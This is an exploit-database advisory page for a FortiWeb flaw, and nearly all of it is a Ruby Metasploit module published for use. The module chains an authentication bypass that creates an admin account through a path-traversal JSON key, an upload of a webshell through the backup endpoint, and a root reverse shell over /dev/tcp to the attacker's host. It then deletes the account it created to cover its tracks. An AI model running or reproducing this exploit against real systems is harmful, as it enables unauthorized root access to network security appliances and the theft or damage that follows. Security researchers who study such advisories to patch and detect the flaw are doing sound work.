PACKETSTORM 9.8 CRITICAL

πŸ“„ FortiWeb 8.0.1 Authentication Bypass / Code Execution_PACKETSTORM:219673

9.8 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

This Metasploit module targets a critical remote code execution vulnerability in FortiWeb's management interface by chaining multiple weaknesses. It goes from authentication bypass to path traversal to arbitrary file upload to remote code execution...
Visit Original Source

Basic Information

ID PACKETSTORM:219673
Published Apr 23, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : FortiWeb 8.0.1 Authentication Bypass + File Upload RCE Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.fortinet.com |
==================================================================================================================================

[+] Summary : This Metasploit module targets a critical Remote Code Execution vulnerability in FortiWeb’s (CVE-2025-64446) management interface by chaining multiple weaknesses:

Authentication Bypass β†’ Path Traversal β†’ Arbitrary File Upload β†’ Remote Code Execution (root)

[+] POC :

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'FortiWeb Remote Code Execution (CVE-2025-64446)',
'Description' => %q{
This module exploits a critical vulnerability in FortiWeb management interface
that combines Authentication Bypass, Path Traversal, and Arbitrary File Upload
to achieve Remote Code Execution as root.
},
'License' => MSF_LICENSE,
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2025-64446']
],
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Linux (Reverse Shell)',
{
'Platform' => 'linux',
'Arch' => ARCH_CMD,
'Type' => :linux_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
]
],
'DefaultTarget' => 0
)
)

register_options([
Opt::RPORT(8443),
OptBool.new('SSL', [true, 'Use SSL/TLS', true]),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [false, 'Temporary admin username', 'pwnedadmin']),
OptString.new('PASSWORD', [false, 'Temporary admin password', 'Pwned123!']),
OptString.new('WEBSHELL_PATH', [false, 'Webshell path', '/pwned.dat'])
])

register_advanced_options([
OptInt.new('SHELL_TIMEOUT', [true, 'Time to wait for shell callback', 15])
])
end

def check
print_status("Checking if target is vulnerable...")

test_username = Rex::Text.rand_text_alpha(8)
test_password = Rex::Text.rand_text_alpha(12)

if create_admin_user(test_username, test_password)
delete_admin_user(test_username)
return Exploit::CheckCode::Vulnerable
end

Exploit::CheckCode::Safe
end

def exploit
print_status("Starting exploitation against #{peer}")

username = datastore['USERNAME']
password = datastore['PASSWORD']

unless create_admin_user(username, password)
fail_with(Failure::NotVulnerable, "Failed to create admin user")
end

unless login_admin(username, password)
fail_with(Failure::UnexpectedReply, "Login failed")
end

webshell_path = upload_webshell
fail_with(Failure::UnexpectedReply, "Webshell upload failed") if webshell_path.nil?

register_files_for_cleanup(webshell_path)

trigger_shell(webshell_path)
delete_admin_user(username)

Rex.sleep(datastore['SHELL_TIMEOUT'])
end

private

def create_admin_user(username, password)
payload = {
"../../mkey" => username,
"password" => password,
"isadmin" => "1",
"status" => "enable"
}

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v2.0/user/local.add'),
'ctype' => 'application/json',
'data' => payload.to_json
})

res && res.code == 200 && res.body.include?('success')
rescue
false
end

def login_admin(username, password)
payload = {
"username" => username,
"password" => password
}

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v2.0/login'),
'ctype' => 'application/json',
'data' => payload.to_json
})

res && res.code == 200 && res.body.include?('success')
rescue
false
end

def upload_webshell
shell_code = generate_payload
b64_shell = Rex::Text.encode_base64(shell_code) + "AAA=="

data = Rex::MIME::Message.new
data.add_part(
b64_shell,
'application/octet-stream',
nil,
"form-data; name=\"upload-file\"; filename=\"#{Rex::Text.rand_text_alpha(8)}.dat\""
)

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v2.0/system/maintenance/backup'),
'ctype' => "multipart/form-data; boundary=#{data.boundary}",
'data' => data.to_s
})

return datastore['WEBSHELL_PATH'] if res && res.code == 200

nil
rescue
nil
end

def generate_payload
case target['Type']
when :linux_cmd
p = payload.encoded
return p if p && !p.to_s.empty?
"bash -c 'bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1'"

when :unix_cmd
return payload.encoded

else
return %Q|<?php system("bash -c 'bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1'"); ?>|
end
end

def trigger_shell(webshell_path)
send_request_cgi({
'method' => 'GET',
'uri' => webshell_path
}, datastore['SHELL_TIMEOUT'])
true
rescue
true
end

def delete_admin_user(username)
payload = {
"../../mkey" => username
}

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v2.0/user/local.delete'),
'ctype' => 'application/json',
'data' => payload.to_json
})

res && res.code == 200
rescue
false
end

def lhost
datastore['LHOST']
end

def lport
datastore['LPORT']
end

def peer
"#{rhost}:#{rport}"
end
end

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

πŸ’­ Join the Security Discussion

πŸ”’ Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.